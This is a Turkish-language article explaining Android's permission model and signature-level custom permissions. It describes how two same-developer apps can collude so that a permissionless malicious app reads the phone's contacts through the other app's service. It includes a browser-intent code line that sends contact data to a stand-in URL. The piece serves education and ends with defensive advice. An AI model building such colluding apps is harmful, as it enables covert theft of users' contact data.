Android’in en temel güvenlik mekanizmalarından biri Android İzin Modeli‘dir (Android Permission Model) Android Permission Model korunan kaynaklara uygulamaların direkt olarak erişmesini engelleyen ve bu erişimin işletim sistemi üzerinden yürütülmesini sağlayan bir mekanizmadır. Bu korunan kaynaklar SMS’ler, telefon rehberi, internet erişimi gibi kaynaklardır.

Korunan kaynaklara erişim için uygulama izin talep etmelidir. Talep edilen bu izin kullanıcı tarafından uygulama kurulumu sırasında onaylanmalıdır. Ancak bu sayede uygulama korunan kaynaklara işletim sistemi üzerinden erişim sağlayabilir. Aşağıdaki ekran görüntüsü Maps uygulamasının yüklenmesi sırasında geliştiricinin talep ettiği izinleri göstermektedir.

Telep edilen izinler tag’i kullanılarak uygulamanın AndroidManifest.XML dosyası içerisinde tanımlanır.

Android KitKat 4.4 – API seviye 19’ta tanımlı 145 tane izin bulunmaktadır. Bu izinler dışında uygulama geliştiricisi kendi uygulamasının komponentlerini kendi tanımladığı bir izinle koruyabilir. Uygulamaya ait bir veri, izin seviyesi belirtilerek koruma altına alınabilir. Tanımlama işlemi <permission> tagi ile yapılır. Aşağıdaki resimde SECRET adında bir permission tanımlanmış ve tanımlanan bu permission ile uygulamanın FirstAppMainActivty adındaki activity’si koruma altına alınmıştır. Bu durum şu anlama gelmektedir. Bu uygulamanın FirstAppMainActivty adındaki activity’sine SECRET permission’una sahip olmayan kimse erişemeycektir. SECRET permission’unun seviyesi de “signature” olduğundan bu uygulama ile aynı developer imzasına sahip olan uygulamalara bu yetkinin otomatik olarak (kullanıcı onayı alınmadan) verileceği görülebilmektedir.

Bir acitivty’nin korunması ile bakışta anlamsız gelebilir ancak bu izin tanımlama işlemi diğer tüm komponentler için de uygulanabilir bir yöntemdir. Uygulamaya ait verilerin erişilebilir olmasını sağlayan content provider’lar da benzer bir izin korumasıyla korunabilmektedir.

Detaylı incelendiğinde telefon rehberinin de aslında bir content provider ile paylaşıldığının ve bu content provider’ın READ_CONTACTS ve WRITE_CONTACTS izinleri ile korunduğu görülebilir.

Yani telefon içerisindeki People (Contacts) uygulamasının da aslında telefon rehberi content provider’ına erişebilmek için READ_CONTACTS ve WRITE_CONTACTS izinlerini talep ettiği bilinmelidir. Aşağıdaki resimde Contacts uygulamasının aldığı izinler görülebilir.

Masum ancak yetki talep eden bir uygulama bulunmaktadır. Bu uygulama First olarak adlandırılmaktadır. Aynı developer tarafından geliştirilen ve herhangi bir izin talep etmemesine rağmen kötü niyetli olan bir diğer uygulama daha bulunmaktadır. Bu uygulama Second olarak adlandırılmaktadır.

Second uygulaması ise AndroidManifest.XML dosyası içerisinde First uygulamasının servisine erişim için gerekli olan SecretService yetkisi dışında hiçbir yetki talep etmemektedir. Zaten bu izin de uygulama kurulurken signature olarak tanımlandığından kullanıcı onayı alınmadan verilecektir.

Yukarıdaki resimde Second uygulamasının kurulurken kullanıcıdan hiçbir izin istemediği görülmektedir.

First uygulaması içerisindeki korunan servis ise kendisine gelen istek üzerine sahip olduğu READ_CONTACTS yetkisini kullanarak telefon rehberini almakta ve kendisine istekte bulunan uygulama veya komponente iletmektedir.

Ayrıca Second uygulaması cihazın tarayıcısına bir intent göndererek istediği herhangi bir web sayfasını çağırmasını sağlayabilmektedir. Bu durumda artık Second uygulaması arkaplana alınmakta ve web tarayıcı uygulaması açılmaktadır. 

Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(“http://www.example.com“));

Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(“http://www.example.com?param=[Ali Veli:11122233344]“));

Buradaki tek detay Second uygulamasının bu HTTP talebini göndermesi durumunda kendisinin kapanıp web tarayıcının açılıyor olmasıdır. Dolayısıyla böyle bir yöntem ile veri göndermeye çalışan uygulamanın bu davranışı kullanıcı tarafından şüphe ile karşılanacaktır. Ancak zararlı Second uygulaması o anda emeline ulaşmış ve kullanıcı telefon rehberini alarak internet üzerinden istediği sunucuya göndermiş olacaktır.

Yazıyı özetlemek gerekirse aynı developer tarafından geliştirilmiş (imzalanmış) biri zararsız ancak yetki sahibi; diğeri zararlı ama hiçbir izin talep etmeyen iki uygulama birlikte çalışarak zararlı bir işlem gerçekleştirebilmektedir. Zararlı uygulama hiçbir izin talep etmediği halde masum uygulamanın haklarını kullanabilmektedir. Signature seviyeli izin sayesinde ikinci uygulama hiçbir izin talep etmeden izin kullanabilmektedir. 

Konunun zararlı yanına ek olarak geliştiricilerin dikkat etmesi gereken noktalardan birisi de herhangi bir komponenti dışarıdan erişime açarken mutlaka bir izin ile koruma gerekliliğidir. Özellikle korumasız servisler ve korumasız içerik sağlayacılar diğer uygulamalar tarafından yetkisizce kullanılabilmektedir.